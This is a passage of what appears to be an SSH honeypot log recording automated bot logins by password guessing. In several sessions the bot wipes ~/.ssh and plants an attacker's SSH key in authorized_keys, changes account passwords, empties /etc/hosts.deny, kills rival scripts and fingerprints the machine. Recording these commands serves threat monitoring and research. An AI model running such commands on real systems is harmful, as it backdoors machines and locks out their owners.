~"},{"seq":3,"at":"2026-08-27T11:59:47.491639+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:59:48.146465+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:59:48.444283+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n2vwi1b7CMq2f\\n2vwi1b7CMq2f\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:59:48.744381+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n2vwi1b7CMq2f\\n2vwi1b7CMq2f\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:59:49.042358+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:59:49.552137+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:59:49.847787+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:59:50.919970+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:59:51.217257+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:59:52.030118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:59:52.326505+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:59:53.069418+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:59:53.366135+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:59:54.106225+00:00","kind":"output","latency_ms":null,"data":" 11:59:54 up 7 days, 8:50, 0 user, load average: 0.3, 0.34, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:59:54.403156+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:59:54.779582+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:59:55.077392+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:59:55.654806+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:59:55.949859+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:59:56.669346+00:00","kind":"output","latency_ms":null,"data":"top - 11:59:56 up 7 days, 8:50, 0 user, load average: 0.3, 0.34, 0.33\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:59:56.965071+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:59:57.325655+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:59:57.620671+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:59:58.168219+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:59:58.463091+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:59:58.975128+00:00","kind":"output","latency_ms":null,"data":"camera"},{"seq":29,"at":"2026-08-27T11:59:59.271093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:00:00.390029+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:00:00.689586+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:00:02.113808+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"camera","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"46c3921e-8162-47c5-9af8-eb39b3302217","name":"knotted-hazel-merlin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":36874,"username":"camera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:59:46.737085+00:00","ended_at":"2026-08-27T11:59:47.402414+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"camera","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"526151f3-fbba-47e2-8a5c-03def18810bb","name":"woven-knotted-wombat","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":56438,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:59:44.878494+00:00","ended_at":"2026-08-27T11:59:46.136910+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d53cdf74-acd9-4bbd-83fb-b23108eed00a","name":"craggy-patient-wolverine","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55448,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:58:00.026031+00:00","ended_at":"2026-08-27T11:58:01.921668+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:57:41.654768+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:57:41.946465+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:57:45.677235+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:57:46.425007+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:57:46.719154+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Deb0LnBCa76X\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:57:47.011673+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:57:47.306996+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:57:47.943667+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:57:48.239010+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:57:49.671734+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:57:49.967587+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:57:51.370659+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:57:51.676358+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:57:52.181931+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:57:52.475795+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:57:53.133307+00:00","kind":"output","latency_ms":null,"data":" 11:57:53 up 7 days, 8:48, 0 user, load average: 0.17, 0.19, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:57:53.433542+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:57:53.987208+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:57:54.273664+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:57:54.739764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:57:55.033395+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:57:55.726264+00:00","kind":"output","latency_ms":null,"data":"top - 11:57:55 up 7 days, 8:48, 0 user, load average: 0.17, 0.19, 0.14\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:57:56.021130+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:57:56.825229+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:57:57.116779+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:57:57.703864+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:57:57.998804+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:57:58.253357+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:57:58.546993+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:57:59.733699+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:58:00.026747+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:58:01.835188+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12356789","method":"password","accepted":true,"tier":"other"}]} {"id":"e559eeb1-efb5-48b8-885e-353e483b85ff","name":"deft-jagged-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":55462,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:57:44.097534+00:00","ended_at":"2026-08-27T11:57:45.591452+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7bb921fe-0e4a-40f3-9136-3b556a3caeab","name":"leafy-daring-ferret","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":55454,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:57:42.619674+00:00","ended_at":"2026-08-27T11:57:43.509520+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"49ccb497-05db-4148-8304-2c5d508b062b","name":"curious-obsidian-bluebird","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":60504,"username":"tempuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:56:00.052498+00:00","ended_at":"2026-08-27T11:56:01.489475+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2187,"events":[{"seq":1,"at":"2026-08-27T11:55:43.234672+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:55:43.531075+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:55:47.307281+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:55:47.569621+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:55:47.868130+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\ngaHpfDuqFiv5\\ngaHpfDuqFiv5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:55:48.162496+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\ngaHpfDuqFiv5\\ngaHpfDuqFiv5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:55:48.457725+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:55:48.735696+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:55:49.033176+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:55:49.980179+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:55:50.279221+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:55:51.249390+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:55:51.546503+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:55:52.275449+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:55:52.570756+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:55:53.088440+00:00","kind":"output","latency_ms":null,"data":" 11:55:53 up 7 days, 8:46, 0 user, load average: 0.16, 0.15, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:55:53.383649+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:55:53.930624+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:55:54.227019+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:55:54.648215+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:55:54.946690+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:55:55.722672+00:00","kind":"output","latency_ms":null,"data":"top - 11:55:55 up 7 days, 8:46, 0 user, load average: 0.16, 0.15, 0.17\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:55:56.014464+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:55:56.914617+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:55:57.209922+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:55:57.549271+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:55:57.844622+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:55:58.604264+00:00","kind":"output","latency_ms":null,"data":"tempuser"},{"seq":29,"at":"2026-08-27T11:55:58.900851+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:55:59.756207+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:56:00.053486+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:56:01.405296+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tempuser","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"321a4e61-26d0-43eb-8416-0d2a81490681","name":"smoky-gritty-gecko","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":45726,"username":"tempuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:55:46.592587+00:00","ended_at":"2026-08-27T11:55:47.218542+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"tempuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"fe994b3d-9e28-415f-bcb0-91f40ce61ed5","name":"wistful-sterling-petrel","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":60510,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:55:44.188890+00:00","ended_at":"2026-08-27T11:55:46.002788+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"31cedce7-da43-41ae-8b8c-2ea89c78e982","name":"noble-gallant-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":37162,"username":"arash","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:53:58.013089+00:00","ended_at":"2026-08-27T11:53:59.410019+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2173,"events":[{"seq":1,"at":"2026-08-27T11:53:39.516615+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:53:39.817867+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:53:44.213685+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:53:44.760689+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:53:45.061898+00:00","kind":"input","latency_ms":null,"data":"echo -e \"arash\\nBk8qLBneKSJb\\nBk8qLBneKSJb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:53:45.360746+00:00","kind":"input","latency_ms":null,"data":"echo \"arash\\nBk8qLBneKSJb\\nBk8qLBneKSJb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:53:45.661474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:53:46.498143+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:53:46.799098+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:53:48.302095+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:53:48.607409+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:53:49.900565+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:53:50.202848+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:53:50.594778+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:53:50.896605+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:53:51.372727+00:00","kind":"output","latency_ms":null,"data":" 11:53:51 up 7 days, 8:43, 0 user, load average: 0.15, 0.17, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:53:51.673698+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:53:52.091795+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:53:52.395094+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:53:52.709202+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:53:53.008492+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:53:53.476315+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:53 up 7 days, 8:44, 0 user, load average: 0.15, 0.17, 0.14\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:53:53.776780+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:53:54.421783+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:53:54.724402+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:53:55.189062+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:53:55.490433+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:53:55.897808+00:00","kind":"output","latency_ms":null,"data":"arash"},{"seq":29,"at":"2026-08-27T11:53:56.200077+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:53:57.711067+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:53:58.013671+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:53:59.320122+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"arash","password":"arash","method":"password","accepted":true,"tier":"other"}]} {"id":"ffdc1293-b0a4-42c4-9766-eb675f01c819","name":"nameless-frosty-hamster","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":37178,"username":"arash","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:53:42.575213+00:00","ended_at":"2026-08-27T11:53:44.124025+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"arash","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 